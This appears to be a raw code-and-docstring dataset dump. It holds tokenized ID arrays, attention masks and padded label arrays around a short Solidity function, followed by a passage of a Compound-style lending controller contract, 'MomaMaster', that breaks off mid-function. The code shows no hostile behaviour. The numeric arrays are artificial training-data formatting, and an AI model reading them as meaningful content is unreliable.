13,
380,
389,
12586,
11098,
13,
342,
2078,
3088,
1283,
5621,
203,
203,
3639,
2583,
12,
334,
911,
5636,
405,
374,
16,
203,
5411,
315,
2871,
5233,
30,
8493,
51,
17918,
8863,
203,
203,
3639,
2254,
5034,
293,
2012,
2173,
2148,
45,
2143,
69,
273,
277,
2143,
69,
2864,
52,
2012,
45,
2143,
69,
63,
2972,
4245,
65,
300,
277,
2143,
69,
2864,
52,
2012,
45,
2143,
69,
63,
334,
911,
6315,
5909,
7053,
8602,
15533,
203,
3639,
2254,
2
]
|
./partial_match/84531/0xA39039AF66e9c7bd3CE53aa56B95F46D0b6BB364/sources/contracts/src/diamond/facets/governance/votes/Checkpoints.sol | * @dev Returns the number of checkpoint./ | function length(History storage self) internal view returns (uint256) {
return self._checkpoints.length;
}
| 16,688,007 | [
1,
1356,
326,
1300,
434,
9776,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
769,
12,
5623,
2502,
365,
13,
2713,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
565,
327,
365,
6315,
1893,
4139,
18,
2469,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.5.17;
import "./MToken.sol";
import "./ErrorReporter.sol";
import "./PriceOracle.sol";
import "./MomaMasterInterface.sol";
import "./MomaMasterStorage.sol";
import "./MomaPool.sol";
/**
* @title Moma's MomaMaster Contract
* @author Moma
*/
contract MomaMaster is MomaMasterInterface, MomaMasterV1Storage, MomaMasterErrorReporter, ExponentialNoError {
/// @notice Emitted when an admin supports a market
event MarketListed(MToken mToken);
/// @notice Emitted when an account enters a market
event MarketEntered(MToken mToken, address account);
/// @notice Emitted when an account exits a market
event MarketExited(MToken mToken, address account);
/// @notice Emitted when close factor is changed by admin
event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa);
/// @notice Emitted when a collateral factor is changed by admin
event NewCollateralFactor(MToken mToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa);
/// @notice Emitted when liquidation incentive is changed by admin
event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa);
/// @notice Emitted when price oracle is changed
event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle);
/// @notice Emitted when pause guardian is changed
event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian);
/// @notice Emitted when an action is paused globally
event ActionPaused(string action, bool pauseState);
/// @notice Emitted when an action is paused on a market
event ActionPaused(MToken mToken, string action, bool pauseState);
/// @notice Emitted when borrow cap for a mToken is changed
event NewBorrowCap(MToken indexed mToken, uint newBorrowCap);
/// @notice Emitted when a new token speed is updated for a market
event TokenSpeedUpdated(address indexed token, MToken indexed mToken, uint oldSpeed, uint newSpeed);
/// @notice Emitted when token is distributed to a supplier
event DistributedSupplierToken(address indexed token, MToken indexed mToken, address indexed supplier, uint tokenDelta, uint tokenSupplyIndex);
/// @notice Emitted when token is distributed to a borrower
event DistributedBorrowerToken(address indexed token, MToken indexed mToken, address indexed borrower, uint tokenDelta, uint tokenBorrowIndex);
/// @notice Emitted when token is claimed by user
event TokenClaimed(address indexed token, address indexed user, uint accrued, uint claimed, uint notClaimed);
/// @notice Emitted when token farm is updated by admin
event TokenFarmUpdated(EIP20Interface token, uint oldStart, uint oldEnd, uint newStart, uint newEnd);
/// @notice Emitted when a new token market is added to momaMarkets
event NewTokenMarket(address indexed token, MToken indexed mToken);
/// @notice Emitted when token is granted by admin
event TokenGranted(address token, address recipient, uint amount);
/// @notice Indicator that this is a MomaMaster contract (for inspection)
bool public constant isMomaMaster = true;
/// @notice The initial moma index for a market
uint224 public constant momaInitialIndex = 1e36;
// closeFactorMantissa must be strictly greater than this value
uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05
// closeFactorMantissa must not exceed this value
uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9
// liquidationIncentiveMantissa must be no less than this value
uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0
// liquidationIncentiveMantissa must be no greater than this value
uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5
// No collateralFactorMantissa may exceed this value
uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9
constructor() public {
admin = msg.sender;
}
/*** Assets You Are In ***/
/**
* @notice Returns the assets an account has entered
* @param account The address of the account to pull assets for
* @return A dynamic list with the assets the account has entered
*/
function getAssetsIn(address account) external view returns (MToken[] memory) {
MToken[] memory assetsIn = accountAssets[account];
return assetsIn;
}
/**
* @notice Returns whether the given account is entered in the given asset
* @param account The address of the account to check
* @param mToken The mToken to check
* @return True if the account is in the asset, otherwise false.
*/
function checkMembership(address account, MToken mToken) external view returns (bool) {
return markets[address(mToken)].accountMembership[account];
}
/**
* @notice Add assets to be included in account liquidity calculation
* @param mTokens The list of addresses of the mToken markets to be enabled
* @return Success indicator for whether each corresponding market was entered
*/
function enterMarkets(address[] memory mTokens) public returns (uint[] memory) {
uint len = mTokens.length;
uint[] memory results = new uint[](len);
for (uint i = 0; i < len; i++) {
MToken mToken = MToken(mTokens[i]);
results[i] = uint(addToMarketInternal(mToken, msg.sender));
}
return results;
}
/**
* @notice Add the market to the borrower's "assets in" for liquidity calculations
* @param mToken The market to enter
* @param borrower The address of the account to modify
* @return Success indicator for whether the market was entered
*/
function addToMarketInternal(MToken mToken, address borrower) internal returns (Error) {
Market storage marketToJoin = markets[address(mToken)];
if (!marketToJoin.isListed) {
// market is not listed, cannot join
return Error.MARKET_NOT_LISTED;
}
if (oracle.getUnderlyingPrice(mToken) == 0) {
// not have price
return Error.PRICE_ERROR;
}
if (marketToJoin.accountMembership[borrower]) {
// already joined
return Error.NO_ERROR;
}
// survived the gauntlet, add to list
// NOTE: we store these somewhat redundantly as a significant optimization
// this avoids having to iterate through the list for the most common use cases
// that is, only when we need to perform liquidity checks
// and not whenever we want to check if an account is in a particular market
marketToJoin.accountMembership[borrower] = true;
accountAssets[borrower].push(mToken);
emit MarketEntered(mToken, borrower);
return Error.NO_ERROR;
}
/**
* @notice Removes asset from sender's account liquidity calculation
* @dev Sender must not have an outstanding borrow balance in the asset,
* or be providing necessary collateral for an outstanding borrow.
* @param mTokenAddress The address of the asset to be removed
* @return Whether or not the account successfully exited the market
*/
function exitMarket(address mTokenAddress) external returns (uint) {
MToken mToken = MToken(mTokenAddress);
/* Get sender tokensHeld and amountOwed underlying from the mToken */
(uint oErr, uint tokensHeld, uint amountOwed, ) = mToken.getAccountSnapshot(msg.sender);
require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code
/* Fail if the sender has a borrow balance */
if (amountOwed != 0) {
return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED);
}
/* Fail if the sender is not permitted to redeem all of their tokens */
uint allowed = redeemAllowedInternal(mTokenAddress, msg.sender, tokensHeld);
if (allowed != 0) {
return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed);
}
Market storage marketToExit = markets[address(mToken)];
/* Return true if the sender is not already ‘in’ the market */
if (!marketToExit.accountMembership[msg.sender]) {
return uint(Error.NO_ERROR);
}
/* Set mToken account membership to false */
delete marketToExit.accountMembership[msg.sender];
/* Delete mToken from the account’s list of assets */
// load into memory for faster iteration
MToken[] memory userAssetList = accountAssets[msg.sender];
uint len = userAssetList.length;
uint assetIndex = len;
for (uint i = 0; i < len; i++) {
if (userAssetList[i] == mToken) {
assetIndex = i;
break;
}
}
// We *must* have found the asset in the list or our redundant data structure is broken
assert(assetIndex < len);
// copy last item in list to location of item to be removed, reduce length by 1
MToken[] storage storedList = accountAssets[msg.sender];
storedList[assetIndex] = storedList[storedList.length - 1];
storedList.length--;
emit MarketExited(mToken, msg.sender);
return uint(Error.NO_ERROR);
}
/*** Policy Hooks ***/
/**
* @notice Checks if the account should be allowed to mint tokens in the given market
* @param mToken The market to verify the mint against
* @param minter The account which would get the minted tokens
* @param mintAmount The amount of underlying being supplied to the market in exchange for tokens
* @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function mintAllowed(address mToken, address minter, uint mintAmount) external returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!mintGuardianPaused[mToken], "mint is paused");
// Shh - currently unused
minter;
mintAmount;
if (!markets[mToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
// Keep the flywheel moving
updateFarmSupplyIndex(mToken);
distributeSupplierFarm(mToken, minter);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates mint and reverts on rejection. May emit logs.
* @param mToken Asset being minted
* @param minter The address minting the tokens
* @param actualMintAmount The amount of the underlying asset being minted
* @param mintTokens The number of tokens being minted
*/
function mintVerify(address mToken, address minter, uint actualMintAmount, uint mintTokens) external {
// Shh - currently unused
mToken;
minter;
actualMintAmount;
mintTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to redeem tokens in the given market
* @param mToken The market to verify the redeem against
* @param redeemer The account which would redeem the tokens
* @param redeemTokens The number of mTokens to exchange for the underlying asset in the market
* @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function redeemAllowed(address mToken, address redeemer, uint redeemTokens) external returns (uint) {
uint allowed = redeemAllowedInternal(mToken, redeemer, redeemTokens);
if (allowed != uint(Error.NO_ERROR)) {
return allowed;
}
// Keep the flywheel moving
updateFarmSupplyIndex(mToken);
distributeSupplierFarm(mToken, redeemer);
return uint(Error.NO_ERROR);
}
function redeemAllowedInternal(address mToken, address redeemer, uint redeemTokens) internal view returns (uint) {
if (!markets[mToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
/* If the redeemer is not 'in' the market, then we can bypass the liquidity check */
if (!markets[mToken].accountMembership[redeemer]) {
return uint(Error.NO_ERROR);
}
/* Otherwise, perform a hypothetical liquidity check to guard against shortfall */
(Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, MToken(mToken), redeemTokens, 0);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall > 0) {
return uint(Error.INSUFFICIENT_LIQUIDITY);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates redeem and reverts on rejection. May emit logs.
* @param mToken Asset being redeemed
* @param redeemer The address redeeming the tokens
* @param redeemAmount The amount of the underlying asset being redeemed
* @param redeemTokens The number of tokens being redeemed
*/
function redeemVerify(address mToken, address redeemer, uint redeemAmount, uint redeemTokens) external {
// Shh - currently unused
mToken;
redeemer;
// Require tokens is zero or amount is also zero
if (redeemTokens == 0 && redeemAmount > 0) {
revert("redeemTokens zero");
}
}
/**
* @notice Checks if the account should be allowed to borrow the underlying asset of the given market
* @param mToken The market to verify the borrow against
* @param borrower The account which would borrow the asset
* @param borrowAmount The amount of underlying the account would borrow
* @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function borrowAllowed(address mToken, address borrower, uint borrowAmount) external returns (uint) {
require(isLendingPool, "this is not lending pool");
// Pausing is a very serious situation - we revert to sound the alarms
require(!borrowGuardianPaused[mToken], "borrow is paused");
if (!markets[mToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (!markets[mToken].accountMembership[borrower]) {
// only mTokens may call borrowAllowed if borrower not in market
require(msg.sender == mToken, "sender must be mToken");
// attempt to add borrower to the market
Error err = addToMarketInternal(MToken(msg.sender), borrower);
if (err != Error.NO_ERROR) {
return uint(err);
}
// it should be impossible to break the important invariant
assert(markets[mToken].accountMembership[borrower]);
}
if (oracle.getUnderlyingPrice(MToken(mToken)) == 0) {
return uint(Error.PRICE_ERROR);
}
uint borrowCap = borrowCaps[mToken];
// Borrow cap of 0 corresponds to unlimited borrowing
if (borrowCap != 0) {
uint totalBorrows = MToken(mToken).totalBorrows();
uint nextTotalBorrows = add_(totalBorrows, borrowAmount);
require(nextTotalBorrows < borrowCap, "market borrow cap reached");
}
(Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, MToken(mToken), 0, borrowAmount);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall > 0) {
return uint(Error.INSUFFICIENT_LIQUIDITY);
}
// Keep the flywheel moving
uint borrowIndex = MToken(mToken).borrowIndex();
updateFarmBorrowIndex(mToken, borrowIndex);
distributeBorrowerFarm(mToken, borrower, borrowIndex);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates borrow and reverts on rejection. May emit logs.
* @param mToken Asset whose underlying is being borrowed
* @param borrower The address borrowing the underlying
* @param borrowAmount The amount of the underlying asset requested to borrow
*/
function borrowVerify(address mToken, address borrower, uint borrowAmount) external {
// Shh - currently unused
mToken;
borrower;
borrowAmount;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to repay a borrow in the given market
* @param mToken The market to verify the repay against
* @param payer The account which would repay the asset
* @param borrower The account which would borrowed the asset
* @param repayAmount The amount of the underlying asset the account would repay
* @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function repayBorrowAllowed(
address mToken,
address payer,
address borrower,
uint repayAmount) external returns (uint) {
// Shh - currently unused
payer;
borrower;
repayAmount;
require(isLendingPool, "this is not lending pool");
if (!markets[mToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
// Keep the flywheel moving
uint borrowIndex = MToken(mToken).borrowIndex();
updateFarmBorrowIndex(mToken, borrowIndex);
distributeBorrowerFarm(mToken, borrower, borrowIndex);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates repayBorrow and reverts on rejection. May emit logs.
* @param mToken Asset being repaid
* @param payer The address repaying the borrow
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function repayBorrowVerify(
address mToken,
address payer,
address borrower,
uint actualRepayAmount,
uint borrowerIndex) external {
// Shh - currently unused
mToken;
payer;
borrower;
actualRepayAmount;
borrowerIndex;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the liquidation should be allowed to occur
* @param mTokenBorrowed Asset which was borrowed by the borrower
* @param mTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param repayAmount The amount of underlying being repaid
*/
function liquidateBorrowAllowed(
address mTokenBorrowed,
address mTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external returns (uint) {
// Shh - currently unused
liquidator;
require(isLendingPool, "this is not lending pool");
if (!markets[mTokenBorrowed].isListed || !markets[mTokenCollateral].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
/* The borrower must have shortfall in order to be liquidatable */
(Error err, , uint shortfall) = getAccountLiquidityInternal(borrower);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall == 0) {
return uint(Error.INSUFFICIENT_SHORTFALL);
}
/* The liquidator may not repay more than what is allowed by the closeFactor */
uint borrowBalance = MToken(mTokenBorrowed).borrowBalanceStored(borrower);
uint maxClose = mul_ScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance);
if (repayAmount > maxClose) {
return uint(Error.TOO_MUCH_REPAY);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates liquidateBorrow and reverts on rejection. May emit logs.
* @param mTokenBorrowed Asset which was borrowed by the borrower
* @param mTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function liquidateBorrowVerify(
address mTokenBorrowed,
address mTokenCollateral,
address liquidator,
address borrower,
uint actualRepayAmount,
uint seizeTokens) external {
// Shh - currently unused
mTokenBorrowed;
mTokenCollateral;
liquidator;
borrower;
actualRepayAmount;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the seizing of assets should be allowed to occur
* @param mTokenCollateral Asset which was used as collateral and will be seized
* @param mTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeAllowed(
address mTokenCollateral,
address mTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!seizeGuardianPaused, "seize is paused");
require(isLendingPool, "this is not lending pool");
// Shh - currently unused
seizeTokens;
if (!markets[mTokenCollateral].isListed || !markets[mTokenBorrowed].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (MToken(mTokenCollateral).momaMaster() != MToken(mTokenBorrowed).momaMaster()) {
return uint(Error.MOMAMASTER_MISMATCH);
}
// Keep the flywheel moving
updateFarmSupplyIndex(mTokenCollateral);
distributeSupplierFarm(mTokenCollateral, borrower);
distributeSupplierFarm(mTokenCollateral, liquidator);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates seize and reverts on rejection. May emit logs.
* @param mTokenCollateral Asset which was used as collateral and will be seized
* @param mTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeVerify(
address mTokenCollateral,
address mTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external {
// Shh - currently unused
mTokenCollateral;
mTokenBorrowed;
liquidator;
borrower;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to transfer tokens in the given market
* @param mToken The market to verify the transfer against
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of mTokens to transfer
* @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function transferAllowed(address mToken, address src, address dst, uint transferTokens) external returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!transferGuardianPaused, "transfer is paused");
// Currently the only consideration is whether or not
// the src is allowed to redeem this many tokens
uint allowed = redeemAllowedInternal(mToken, src, transferTokens);
if (allowed != uint(Error.NO_ERROR)) {
return allowed;
}
// Keep the flywheel moving
updateFarmSupplyIndex(mToken);
distributeSupplierFarm(mToken, src);
distributeSupplierFarm(mToken, dst);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates transfer and reverts on rejection. May emit logs.
* @param mToken Asset being transferred
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of mTokens to transfer
*/
function transferVerify(address mToken, address src, address dst, uint transferTokens) external {
// Shh - currently unused
mToken;
src;
dst;
transferTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/*** Liquidity/Liquidation Calculations ***/
/**
* @dev Local vars for avoiding stack-depth limits in calculating account liquidity.
* Note that `mTokenBalance` is the number of mTokens the account owns in the market,
* whereas `borrowBalance` is the amount of underlying that the account has borrowed.
*/
struct AccountLiquidityLocalVars {
uint sumCollateral;
uint sumBorrowPlusEffects;
uint mTokenBalance;
uint borrowBalance;
uint exchangeRateMantissa;
uint oraclePriceMantissa;
Exp collateralFactor;
Exp exchangeRate;
Exp oraclePrice;
Exp tokensToDenom;
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code (semi-opaque),
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidity(address account) public view returns (uint, uint, uint) {
(Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, MToken(0), 0, 0);
return (uint(err), liquidity, shortfall);
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code,
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) {
return getHypotheticalAccountLiquidityInternal(account, MToken(0), 0, 0);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param mTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @return (possible error code (semi-opaque),
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidity(
address account,
address mTokenModify,
uint redeemTokens,
uint borrowAmount) public view returns (uint, uint, uint) {
(Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, MToken(mTokenModify), redeemTokens, borrowAmount);
return (uint(err), liquidity, shortfall);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param mTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @dev Note that we calculate the exchangeRateStored for each collateral mToken using stored data,
* without calculating accumulated interest.
* @return (possible error code,
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidityInternal(
address account,
MToken mTokenModify,
uint redeemTokens,
uint borrowAmount) internal view returns (Error, uint, uint) {
AccountLiquidityLocalVars memory vars; // Holds all our calculation results
uint oErr;
// For each asset the account is in
MToken[] memory assets = accountAssets[account];
for (uint i = 0; i < assets.length; i++) {
MToken asset = assets[i];
// Read the balances and exchange rate from the mToken
(oErr, vars.mTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account);
if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades
return (Error.SNAPSHOT_ERROR, 0, 0);
}
vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});
vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});
// Get the normalized price of the asset
vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset);
if (vars.oraclePriceMantissa == 0) {
return (Error.PRICE_ERROR, 0, 0);
}
vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
// Pre-compute a conversion factor from tokens -> ether (normalized price value)
vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice);
// sumCollateral += tokensToDenom * mTokenBalance
vars.sumCollateral = mul_ScalarTruncateAddUInt(vars.tokensToDenom, vars.mTokenBalance, vars.sumCollateral);
// sumBorrowPlusEffects += oraclePrice * borrowBalance
vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects);
// Calculate effects of interacting with mTokenModify
if (asset == mTokenModify) {
// redeem effect
// sumBorrowPlusEffects += tokensToDenom * redeemTokens
vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects);
// borrow effect
// sumBorrowPlusEffects += oraclePrice * borrowAmount
vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects);
}
}
// These are safe, as the underflow condition is checked first
if (vars.sumCollateral > vars.sumBorrowPlusEffects) {
return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0);
} else {
return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral);
}
}
/**
* @notice Calculate number of tokens of collateral asset to seize given an underlying amount
* @dev Used in liquidation (called in mToken.liquidateBorrowFresh)
* @param mTokenBorrowed The address of the borrowed mToken
* @param mTokenCollateral The address of the collateral mToken
* @param actualRepayAmount The amount of mTokenBorrowed underlying to convert into mTokenCollateral tokens
* @return (errorCode, number of mTokenCollateral tokens to be seized in a liquidation)
*/
function liquidateCalculateSeizeTokens(address mTokenBorrowed, address mTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) {
/* Read oracle prices for borrowed and collateral markets */
uint priceBorrowedMantissa = oracle.getUnderlyingPrice(MToken(mTokenBorrowed));
uint priceCollateralMantissa = oracle.getUnderlyingPrice(MToken(mTokenCollateral));
if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) {
return (uint(Error.PRICE_ERROR), 0);
}
/*
* Get the exchange rate and calculate the number of collateral tokens to seize:
* seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral
* seizeTokens = seizeAmount / exchangeRate
* = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate)
*/
uint exchangeRateMantissa = MToken(mTokenCollateral).exchangeRateStored(); // Note: reverts on error
uint seizeTokens;
Exp memory numerator;
Exp memory denominator;
Exp memory ratio;
numerator = mul_(Exp({mantissa: liquidationIncentiveMantissa}), Exp({mantissa: priceBorrowedMantissa}));
denominator = mul_(Exp({mantissa: priceCollateralMantissa}), Exp({mantissa: exchangeRateMantissa}));
ratio = div_(numerator, denominator);
seizeTokens = mul_ScalarTruncate(ratio, actualRepayAmount);
return (uint(Error.NO_ERROR), seizeTokens);
}
/*** Admin Functions ***/
/**
* @notice Sets a new price oracle for the MomaMaster
* @dev Admin function to set a new price oracle
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _updatePriceOracle() public returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK);
}
// Read the new oracle from factory
address newOracle = MomaFactoryInterface(factory).oracle();
// Check newOracle
require(newOracle != address(0), "factory not set oracle");
// Track the old oracle for the MomaMaster
PriceOracle oldOracle = oracle;
// Set MomaMaster's oracle to newOracle
oracle = PriceOracle(newOracle);
// Emit NewPriceOracle(oldOracle, newOracle)
emit NewPriceOracle(oldOracle, PriceOracle(newOracle));
return uint(Error.NO_ERROR);
}
/**
* @notice Sets the closeFactor used when liquidating borrows
* @dev Admin function to set closeFactor
* @param newCloseFactorMantissa New close factor, scaled by 1e18
* @return uint 0=success, otherwise a failure
*/
function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) {
// Check caller is admin
require(msg.sender == admin, "only admin can set close factor");
require(newCloseFactorMantissa >= closeFactorMinMantissa, "close factor too small");
require(newCloseFactorMantissa <= closeFactorMaxMantissa, "close factor too large");
